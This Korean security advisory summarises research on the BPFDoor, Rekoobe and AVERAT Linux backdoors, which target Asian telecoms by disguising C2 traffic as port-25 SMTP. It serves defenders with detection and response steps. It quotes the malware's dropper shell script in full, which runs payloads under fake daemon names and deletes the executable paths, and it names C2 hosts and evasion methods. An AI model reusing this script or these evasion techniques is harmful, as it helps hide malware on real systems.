BPFDoor·AVERAT 리눅스 백도어의 25번 포트 위장 통신

‍

BPFDoor·AVERAT 리눅스 백도어의 25번 포트 위장 통신

‍

■ 개요

‍

Rapid7은 2026년 10월 2일 아시아 통신 사업자와 네트워크 경계 장비를 노린 리눅스 악성코드 캠페인을 공개했습니다. 한국 클러스터의 침해 지표에는 BPFDoor 샘플 4종과 Rekoobe 계열 백도어 1종이 포함됐습니다. 이들 중 여러 샘플은 지란지교시큐리티의 메일 보안 제품 SpamSniper가 사용하는 PID 파일 경로나 /sniper/... 형태의 프로세스명으로 위장했습니다. 대만 클러스터에서는 ShareTech 장비용으로 추정되는 드로퍼(접근 확보 후 악성코드를 설치하는 모듈) 1종과 AVERAT 임플란트 빌드 6종이 확인됐습니다.

AVERAT은 대화형 셸, 파일 업로드·다운로드, 디렉터리 열람, 프로세스 종료, 추가 모듈 적재, 포트 포워딩을 지원하는 원격 제어 백도어입니다. 대만 클러스터는 실행 복사본의 파일 경로를 삭제한 뒤 프로세스를 계속 동작시킵니다. 두 클러스터 모두 25번 포트를 활용하지만 방식은 다릅니다. AVERAT은 EHLO와 STARTTLS를 거치는 SMTP 세션 안에서 C2 통신을 시작하고, BPFDoor·Rekoobe는 25번 포트의 매직 패킷과 콜백·셸 통신을 이용합니다. 공개 분석은 공격자가 장비에 처음 들어온 경로와 피해 조직을 밝히지 않았으며, 드로퍼도 접근 확보 후 실행되는 로컬 설치 모듈로만 설명했습니다.

위장 대상이 국내 제품이고 한국 통신 환경이 직접 표적으로 확인된 만큼, 메일 게이트웨이와 리눅스 경계 장비를 운영하는 국내 조직은 우선 점검 대상에 포함해야 합니다.

‍

■ 요약

‍

‍

■ 25번 포트로 위장한 통신

‍

BPFDoor 계열은 리눅스 커널의 패킷 필터(BPF)를 붙인 원시 소켓(raw socket)으로 트래픽을 들여다봅니다. 포트를 열어 대기하지 않기 때문에 포트 스캔에 잡히지 않고, 약속된 바이트 패턴이 담긴 패킷(매직 패킷)이 도착할 때만 동작합니다. 한국 BPFDoor 변종은 트리거와 비밀번호 값에 따라 공격자에게 되돌아가거나 접속을 기다리는 셸(바인드 셸)을 엽니다. 같은 클러스터의 Rekoobe 샘플은 26개 명령으로 구성된 필터를 붙여 송신 포트와 수신 포트가 모두 25인 IPv4 TCP·UDP·SCTP 트래픽과 IPv6 UDP 트래픽을 감시한 뒤, 공격자 측 25번 포트로 역방향 셸을 연결합니다. 메일 게이트웨이가 이 포트 조합을 허용하는 환경에서는 트리거와 후속 통신이 정상 메일 흐름에 섞일 수 있습니다.

공격자는 제품 구성요소의 이름과 경로 형태까지 위장에 썼습니다. Rekoobe 샘플의 프로세스명은 /sniper/bin/crond, /sniper/apache/bin/httpd, /sniper/snipe/bin/snipe-smtpd처럼 SpamSniper 구성요소 이름을 딴 경로 형태를 따릅니다. BPFDoor 변종은 중복 실행을 막는 잠금 용도로 SpamSniper의 PID 파일 경로인 /var/run/spamsniper.pid를 사용하고, 리눅스 기본 데몬 이름 10개를 돌려 쓰며 프로세스 목록에 섞입니다. 또 다른 샘플은 프로세스명을 ora_ppmond로 바꿔 Oracle 기반 통신 가입자 관리 플랫폼의 작명 규칙에 맞췄습니다. Rapid7이 재구성한 컨트롤러는 트리거를 일반적인 HTTPS POST 요청 형태로 감싸 전송할 수 있습니다. 연구진은 이 방식이 통상적인 패킷 심층 검사(DPI)를 우회할 가능성이 있다고 평가했습니다.

AVERAT은 실제 SMTP 절차를 사용합니다. 외부 25번 포트로 직접 접속한 뒤 EHLO를 보내고 STARTTLS(평문 연결을 암호화로 전환하는 명령)를 요청한 다음, 그 안에서 자체 암호화 세션을 시작합니다. 접속 주기는 600~699초이며 숨겨진 상태 파일에 기록돼 재시작 후에도 유지되고, 공격자가 변경할 수 있습니다. C2 호스트명도 mx.zxopfds.com, spam.suwaccqi.com, mx1.wwstifsteel.com처럼 메일 서버 작명을 따랐습니다. 실제로는 대만 브로드밴드 회선(중화텔레콤 HiNet, AS3462)의 서로 다른 세 도시에서 장악된 네트워크 저장장치(NAS)·녹화 장비(DVR)·구형 소형 네트워크 장비로 연결됩니다. Rapid7은 이 중계 장비들이 공격자가 중계용으로 장악한 기기 망(ORB)의 일반적인 구성 특성과 일치하지만, 알려진 특정 ORB 망 소속은 확인되지 않았다고 평가했습니다.

‍

■ 흔적을 지우는 설치 과정

‍

ShareTech 장비용으로 추정되는 드로퍼는 AES-128-ECB로 암호화된 데이터 네 덩이를 품고 있습니다. 드로퍼는 문자열 ShareTech의 SHA1 해시 앞 16바이트를 복호화 키로 쓰며, 복호화 결과는 세 개의 경로와 셸 스크립트 하나입니다. /tmp/flag가 존재하고 /HDD/ms6x2xTo64/updIptable.php가 없을 때만 설치 분기로 들어가 해당 경로에 스크립트를 씁니다. 확장자는 .php지만 내용은 셸 스크립트이며, 드로퍼는 이 파일에 실행 권한을 준 뒤 system()으로 실행하고 종료합니다. 아래는 Rapid7 분석에 공개된 해당 설치 스크립트 전문입니다.

#!/bin/sh
/bin/cp -f /addpkg/sbin/update /sbin/ntpdate
chmod 755 /sbin/ntpdate
/sbin/ntpdate &
sleep 10
rm -rf /sbin/ntpdate
/bin/cp -f /addpkg/sbin/agetty /sbin/udevds
chmod 755 /sbin/udevds
/sbin/udevds &
sleep 10
rm -rf /sbin/udevds

장비의 애드온 패키지 경로에 있는 update를 시간 동기화 도구 이름인 /sbin/ntpdate로 복사해 백그라운드로 띄우고, 10초 뒤 실행 복사본의 경로를 삭제합니다. 같은 절차로 agetty를 장치 관리 데몬처럼 보이는 /sbin/udevds로 복사해 AVERAT을 실행합니다. 두 프로세스는 삭제된 실행 파일을 참조한 채 계속 동작하므로 일반적인 경로 기반 검사에서 놓치기 쉽고, /proc/<pid>/exe에는 (deleted)가 표시됩니다. 삭제되는 대상은 복사본이며 원본은 애드온 패키지 경로에 남습니다. update는 /sbin/ntpdate로 다시 실행되면 이미 존재하는 설치 스크립트 때문에 설치 분기를 건너뛰고 감시 루프로 들어가며, /HDD/ms6x2xTo64/execProcEnd 또는 설치 스크립트가 사라지면 다시 생성합니다.

‍

■ 탐지 및 점검

‍

• 메일 게이트웨이와 리눅스 경계 장비에서 /proc/<pid>/exe가 (deleted)로 표시되는 프로세스를 전수 확인하고, 데몬 이름을 쓰면서 실행 파일이 없는 프로세스를 우선 조사합니다.

• 메일 데몬이 아닌 프로세스가 TCP 25번 포트로 외부에 접속하는지 호스트에서 소켓과 프로세스를 짝지어 점검합니다. 방화벽·NetFlow 기록만으로는 정상 중계와 구분하기 어렵습니다. AVERAT의 EHLO·STARTTLS 전환은 패킷에서 확인할 수 있지만 이후 내용은 암호화되므로, 복호화 가시성 없이 전체 패킷을 수집하는 것만으로 C2 내용을 확인할 수는 없습니다.

• 패킷 캡처 용도가 아닌 서버에서 원시 소켓을 열고 BPF 필터를 붙인 프로세스가 있는지 확인합니다.

• /var/run/spamsniper.pid는 정상 제품도 쓰는 파일이므로 존재 자체를 침해 근거로 보지 말고, 그 파일을 점유한 프로세스가 실제 SpamSniper 구성요소인지 실행 파일 경로와 패키지 정보로 대조합니다.

• ShareTech 계열 장비에서는 /HDD/ms6x2xTo64/ 디렉터리와 그 안의 updIptable.php·execProcEnd, /tmp/flag, /var/lib/.db·.sencha·.us·.a 상태 파일을 함께 확인합니다.

‍

■ 대응 방안

‍

• 아웃바운드 25번 포트를 지정된 메일 중계 대상으로만 허용하고, 소비자용 브로드밴드·임베디드 기기 주소로 향하는 25번 포트 연결은 차단합니다.

• 메모리 상주 프로세스를 종료하거나 장비를 재부팅해도 디스크의 원본 페이로드는 남으므로, 애드온 패키지 경로의 비정상 실행 파일과 기동 스크립트를 함께 제거해야 합니다.

• 실행 중인 프로세스에 남은 증거를 보존할 수 있도록 재부팅이나 초기화 전에 프로세스 목록·열린 소켓·메모리 덤프를 먼저 수집합니다.

• 침해가 확인된 장비는 대화형 셸이 열렸을 가능성을 두고 저장된 자격증명, SSH 키, 메일 계정 인증 정보를 폐기하고 재발급합니다.

• 외부 노출 이력이 있는 장비에는 위 점검 항목을 우선 적용하되, 행위 흔적이나 IoC가 함께 확인될 때 침해 사고로 분류합니다.

‍

[참고 자료]

• Rapid7 — SMTP is the key: BPFDoor and AVERAT hitting the network edge

• Infosecurity Magazine — Linux Backdoors Target Telecoms, Masquerade as Email Traffic

• The Hacker News — Linux Backdoors Impersonate Email Security Tools to Evade Detection in Korea and Taiwan

• 지란지교시큐리티 — SpamSniper 제품 소개